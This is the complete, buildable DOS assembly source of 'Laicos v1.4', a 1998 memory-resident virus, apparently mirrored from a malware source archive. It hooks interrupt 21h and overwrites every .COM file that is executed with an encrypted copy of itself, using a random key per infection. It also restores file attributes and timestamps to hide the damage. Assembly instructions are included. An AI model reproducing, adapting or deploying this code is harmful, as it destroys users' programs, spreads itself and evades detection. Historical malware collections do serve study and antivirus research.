mirror of
https://github.com/vxunderground/MalwareSourceCode
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194 lines
10 KiB
NASM
194 lines
10 KiB
NASM
; ------------------------------------------------------------------------- ;
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; Laicos v1.4 coded by KilJaeden of the Codebreakers 1998 ;
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; ------------------------------------------------------------------------- ;
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; Description: `-------------------| Started: 06/06/98 | Finished: 07/06/98 ;
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; `-------------------^------------------- ;
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; v1.0 - memory resident *.com overwritter, MCB style | Size: 283 ;
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; v1.1 - makes sure it is really a .com file `---------- ;
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; v1.2 - add infection of any file + restores attributes ;
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; v1.3 - add time/date restoration of infected files ;
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; v1.4 - add XOR,NOT,NEG,ROR encryption to this ;
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; ------------------------------------------------------------------------- ;
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; Thanks: To SPo0ky!! I Could not have done this without his patience!!!! ;
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; ------------------------------------------------------------------------- ;
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; to compile ::] tasm laicos.asm ;
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; to link :::::] tlink /t laicos.obj ;
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; ------------------------------------------------------------------------- ;
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code segment ; name our segment 'code'
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assume cs:code,ds:code ; assign cs and ds to code
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org 100h ; this be a .com file
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.286 ; need this for pusha/popa
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start: jmp first ; jump to first (overwritten)
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xor bp,bp ; XOR the value of bp to 0
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lea si,encd ; load SI with encrypted area start
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mov di,si ; DI points there now too
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call encr ; call the encryption routine
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jmp encd ; jump to encrypted area
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encr: lodsb ; load a byte
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not al ; encryptin 1
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ror al,4 ; encryptin 2
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neg al ; encryptin 3
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key: xor al,0 ; encryptin 4
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neg al ; unencrypt 3
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ror al,4 ; unencrypt 2
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not al ; unencrypt 1
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stosb ; put the byte back
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loop encr ; do it for all bytes
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ret ; return from call
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encd: mov ax,0deadh ; move 0deadh into AX
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int 21h ; if resident, 0deadh is in BX now
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cmp bx,0deadh ; are we resident?
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jne go_rez ; nope were not, go rezident now
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int 20h ; we are, terminate
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go_rez: sub word ptr cs:[2],80h ; lower top of memory data in PSP
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mov ax,cs ; move CS into AX
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dec ax ; decrement AX and
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mov ds,ax ; move AX into DS
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sub word ptr ds:[3],40h ; sub 1kb from accessed MCB
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xor ax,ax ; ax to 0
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mov ds,ax ; DS has no value now
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sub word ptr ds:[413h],2 ; adjust BIOS data area by 2kb
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mov ax,word ptr ds:[413h] ; move adjusted BIOS mem to AX
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mov cl,6 ; load cl with 6
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shl ax,cl ; multiply BIOS base mem by 64
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mov es,ax ; move the value into ES
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push cs ; get cs again so you can
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pop ds ; restore DS to original value
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xor di,di ; DI must be 0 now
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lea si,start ; load SI with start of virus
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mov cx,finish-start ; # of bytes to write
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rep movsb ; load the virus into memory
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hook: push es ; push the value in ES
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pop ds ; pop it into DS
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mov ax,3521h ; get the int 21h interrupt
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int 21h ; get it now man!
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mov word ptr ds:[oi21-100h],bx ; save the old one here
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mov word ptr ds:[oi21+2-100h],es ; save it here too
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mov ax,2521h ; point IVT to new ISR
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lea dx,isr-100h ; load DX with start of ISR
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int 21h ; IVT now points to new ISR
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int 20h ; end now that we have hooked
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isr: pushf ; push all flags
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cmp ax,0deadh ; have we added check value?
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jne exec ; yup, wait for a 4bh
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mov bx,0deadh ; nope, adding it now
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popf ; pop the flags
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iret ; pop cs:ip+flags from stack
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exec: pusha ; push all registers
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push ds ; push value of DS
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push es ; push ES as well
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cmp ah,4bh ; something being executed?
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je main ; yup, check if .com
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jne exit ; nope, point to original ISR
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main: push ds ; push DS again
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pop es ; and pop it into ES
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mov di,dx ; move file name info to DI
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mov cx,64 ; 64 byte file name possible
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mov al,'.' ; load al with .
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cld ; clear direction flag
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repnz scasb ; scan until . is hit
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cmp word ptr ds:[di],'OC' ; is it .CO- ?
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jne exit ; not a .com file, exit
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cmp word ptr ds:[di+2],'M' ; check for .--M
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jne exit ; not a .com file, exit
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mov ax,4300h ; get the file attributes
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int 21h ; we have them now
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push cx ; save the values
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push dx ; save the values
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push ds ; save the values
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mov ax,4301h ; set file attributes
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xor cx,cx ; to none at all
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int 21h ; set them now
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mov ax,3d02h ; open the file then
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int 21h ; file is now open
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xchg ax,bx ; save the file info
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push cs ; push 100h
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push cs ; push it again
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pop ds ; into DS
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pop es ; into ES
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mov ax,5700h ; get time / date stamps
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int 21h ; we have the stamps now
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push dx ; save the time
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push cx ; save the date
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in al,40h ; get random value
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mov byte ptr cs:[key-100h+1],al ; save as our key
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mov ah,40h ; write to file
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lea dx,start-100h ; load start address
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mov cx,encd-start ; # of bytes to write
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int 21h ; write them now
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mov bp,100h ; load bp with 100h
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lea di,finish-100h ; end of encrypted stuff
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lea si,encd-100h ; start of encrypted stuff
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mov cx,finish-encd ; # of bytes to encrypt
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cld ; clear direction flag
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call encr ; call the encryption routine
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mov ah,40h ; write to file
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mov cx,finish-encd ; total # of bytes to write
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lea dx,finish-100h ; write from here
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int 21h ; write them now
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mov ax,5701h ; restore time / date
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pop cx ; from this value
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pop dx ; and from this value
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int 21h ; restore them now
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mov ax,4301h ; set file attributes
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pop ds ; restore from saved value
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pop dx ; restore from this one too
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pop cx ; and lastely, this one
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int 21h ; attributes are restored
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mov ah,3eh ; close the file
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int 21h ; it's closed
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exit: pop es ; pop ES from stack
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pop ds ; pop DS from stack
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popa ; pop all registers
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popf ; pop all flags
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db 0eah ; jump to original ISR
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; --------------------------( The Data Area ) ----------------------------- ;
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; ------------------------------------------------------------------------- ;
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oi21 dd ? ; old int 21 is here
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finish label near ; the offset label
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; ---------------------( Not Saved / Not Encrypted )----------------------- ;
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; ------------------------------------------------------------------------- ;
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first: lea di,start ; load with start address
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lea si,new ; overwrite with these bytes
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movsw ; overwrite two bytes
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movsb ; overwrite one byte
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jmp encd ; jump to encrypted area start
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new: mov cx,finish-encd ; this will overwrite the jump
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; ----------------------------( Its All Over )----------------------------- ;
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; ------------------------------------------------------------------------- ;
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code ends ; end code segment
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end start ; end / where to start
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; ------------------------------------------------------------------------- ;
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; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
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; ------------------------------------------------------------------------- ;
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